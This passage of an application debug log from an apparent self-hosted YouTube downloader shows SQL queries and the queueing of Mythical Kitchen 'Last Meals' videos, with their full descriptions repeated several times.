= ?) [1] 20:49:08.816 [debug] QUERY OK source="media_items" db=0.1ms idle=2.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [99] 20:49:08.816 [info] Kicking off download for media item #99 (XrIdECo9YSA) 20:49:08.817 [debug] QUERY OK source="tasks" db=0.0ms idle=1.8ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [98, 99, ~U[2026-03-28 00:49:08Z], ~U[2026-03-28 00:49:08Z]] 20:49:08.817 [debug] Current batch of media processed. Will check again in 1000ms 20:49:09.818 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, Josh is cooking Padma Lakshmi's last meal.\n\nCheck out Season 2 of Padma's Hulu series “Taste the Nation with Padma Lakshmi” as well as her feature in the new swimsuit issue of Sports Illustrated!\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nYouTube: @ahotdogisasandwich\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th=1&psc=1", "duration" => 1995, "filename" => "/downloads/Last Meals/2023-05-18 Padma Lakshmi Eats Her Last Meal/Padma Lakshmi Eats Her Last Meal [scAcclzNz4g].mp4", "id" => "scAcclzNz4g", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=scAcclzNz4g", "playlist_index" => 85, "timestamp" => 1684404046, "title" => "Padma Lakshmi Eats Her Last Meal", "upload_date" => "20230518"} 20:49:09.818 [debug] QUERY OK source="sources" db=0.1ms idle=1002.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:49:09.819 [debug] QUERY OK source="sources" db=0.0ms idle=1001.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:09.819 [debug] QUERY OK source="media_items" db=0.2ms idle=1001.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-05-18 10:00:46Z], 1] 20:49:09.820 [debug] QUERY OK source="media_items" db=0.6ms idle=1001.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Josh is cooking Padma Lakshmi's last meal.\n\nCheck out Season 2 of Padma's Hulu series “Taste the Nation with Padma Lakshmi” as well as her feature in the new swimsuit issue of Sports Illustrated!\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nYouTube: @ahotdogisasandwich\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th=1&psc=1", "Padma Lakshmi Eats Her Last Meal", "663fe235-54ac-44c5-943f-f173bfd75622", "https://www.youtube.com/watch?v=scAcclzNz4g", false, "scAcclzNz4g", 1995, false, 85, "/downloads/Last Meals/2023-05-18 Padma Lakshmi Eats Her Last Meal/Padma Lakshmi Eats Her Last Meal [scAcclzNz4g].mp4", false, false, 1, [], 0, ~U[2023-05-18 10:00:46Z], ~U[2026-03-28 00:49:09Z], ~U[2026-03-28 00:49:09Z], "Today, Josh is cooking Padma Lakshmi's last meal.\n\nCheck out Season 2 of Padma's Hulu series “Taste the Nation with Padma Lakshmi” as well as her feature in the new swimsuit issue of Sports Illustrated!\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nYouTube: @ahotdogisasandwich\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th=1&psc=1", "Padma Lakshmi Eats Her Last Meal", "https://www.youtube.com/watch?v=scAcclzNz4g", "scAcclzNz4g", 1995, false, "/downloads/Last Meals/2023-05-18 Padma Lakshmi Eats Her Last Meal/Padma (truncated) 20:49:09.820 [debug] QUERY OK source="sources" db=0.0ms idle=655.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:09.820 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:49:09.820 [debug] QUERY OK source="media_items" db=0.0ms idle=1.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [100] 20:49:09.820 [info] Kicking off download for media item #100 (scAcclzNz4g) 20:49:09.821 [debug] QUERY OK source="tasks" db=0.0ms idle=0.8ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [99, 100, ~U[2026-03-28 00:49:09Z], ~U[2026-03-28 00:49:09Z]] 20:49:09.821 [debug] Current batch of media processed. Will check again in 1000ms 20:49:10.822 [debug] Current batch of media processed. Will check again in 1000ms 20:49:11.823 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today Jennette McCurdy eats her last meal.\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS:\n0:00 Jennette's Last Meal\n0:22 The Face Of The Great Depression\n2:00 How Often Do You Think About Your Last Meal?\n4:03 1st Course\n6:12 How Jennette Writes About Food\n10:41 How Will I Know What I Think Until I See What I Say?\n12:01 The Hunt For Matcha\n14:39 An Addiction Novel\n17:34 2nd Course\n20:36 Food Linked To Trauma Memories\n28:34 Codependence vs. Independence\n29:44 The Americana\n32:21 3rd Course\n33:33 Girl Math & Disordered Eating\n34:57 Writing/Directing A Feature\n37:40 A Second-Rate Mormon\n40:26 Rage & Anger\n44:46 Feeling Power & Freedom By Writing\n45:36 Stop Using Busy Excuses\n47:41 4th Course\n48:52 Executive Producing for I'm Glad My Mom Died\n50:35 The Values Jennette Lives By\n52:09 Wild Expectations\n54:11 What Do You Think Happens When You Die?\n55:33 Lightning Round\n59:54 Jennette's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.", "duration" => 3623, "filename" => "/downloads/Last Meals/2026-01-29 Jennette McCurdy Eats Her Last Meal/Jennette McCurdy Eats Her Last Meal [rX5WCm0_flI].mp4", "id" => "rX5WCm0_flI", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=rX5WCm0_flI", "playlist_index" => 86, "timestamp" => 1769684488, "title" => "Jennette McCurdy Eats Her Last Meal", "upload_date" => "20260129"} 20:49:11.824 [debug] QUERY OK source="sources" db=0.2ms idle=766.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:49:11.824 [debug] QUERY OK source="sources" db=0.1ms idle=766.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:11.825 [debug] QUERY OK source="media_items" db=0.3ms idle=767.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-29 11:01:28Z], 1] 20:49:11.826 [debug] QUERY OK source="media_items" db=1.1ms idle=767.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today Jennette McCurdy eats her last meal.\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS:\n0:00 Jennette's Last Meal\n0:22 The Face Of The Great Depression\n2:00 How Often Do You Think About Your Last Meal?\n4:03 1st Course\n6:12 How Jennette Writes About Food\n10:41 How Will I Know What I Think Until I See What I Say?\n12:01 The Hunt For Matcha\n14:39 An Addiction Novel\n17:34 2nd Course\n20:36 Food Linked To Trauma Memories\n28:34 Codependence vs. Independence\n29:44 The Americana\n32:21 3rd Course\n33:33 Girl Math & Disordered Eating\n34:57 Writing/Directing A Feature\n37:40 A Second-Rate Mormon\n40:26 Rage & Anger\n44:46 Feeling Power & Freedom By Writing\n45:36 Stop Using Busy Excuses\n47:41 4th Course\n48:52 Executive Producing for I'm Glad My Mom Died\n50:35 The Values Jennette Lives By\n52:09 Wild Expectations\n54:11 What Do You Think Happens When You Die?\n55:33 Lightning Round\n59:54 Jennette's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.", "Jennette McCurdy Eats Her Last Meal", "00f00335-7110-474a-9152-4fea1028cca3", "https://www.youtube.com/watch?v=rX5WCm0_flI", false, "rX5WCm0_flI", 3623, false, 86, "/downloads/Last Meals/2026-01-29 Jennette McCurdy Eats Her Last Meal/Jennette McCurdy Eats Her Last Meal [rX5WCm0_flI].mp4", false, false, 1, [], 0, ~U[2026-01-29 11:01:28Z], ~U[2026-03-28 00:49:11Z], ~U[2026-03-28 00:49:11Z], "Today Jennette McCurdy eats her last meal.\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS:\n0:00 Jennette's Last Meal\n0:22 The Face Of The Great Depression\n2:00 How Often Do You Think About Your Last Meal?\n4:03 1st Course\n6:12 How Jennette Writes About Food\n10:41 How Will I Know What I Think Until I See What I Say?\n12:01 The Hunt For Matcha\n14:39 An Addiction Novel\n17:34 2nd Course\n20:36 Food Linked To Trauma Memories\n28:34 Codependence vs. Independence\n29:44 The Americana\n32:21 3rd Course\n33:33 Girl Math & Disordered Eating\n34:57 Writing/Directing A Feature\n37:40 A Second-Rate Mormon\n40:26 Rage & Anger\n44:46 Feeling Power & Freedom By Writing\n45:36 Stop Using Busy Excuses\n47:41 4th Course\n48:52 Executive Producing for I'm Glad My Mom Died\n50:35 The Values Jennette Lives By\n52:09 Wild Expectations\n54:11 What Do You Think Happens When You Die?\n55:33 Lightning Round\n59:54 Jennette's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.", "Jennette McCurdy Eats Her Last Meal", "https://www.youtube.com/watch?v=rX5WCm0_flI", "rX5WCm0_flI", 3623, false, "/downloads/Last Meals/2026-01-29 Jennette McCurdy Eats Her Last Meal/Jennette McCurdy Eats Her Last Meal [rX5WCm0_flI].mp4", false, 1, ~U[2026-01-29 11:01:28Z]] 20:49:11.827 [debug] QUERY OK source="sources" db=0.1ms idle=659.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:11.827 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", 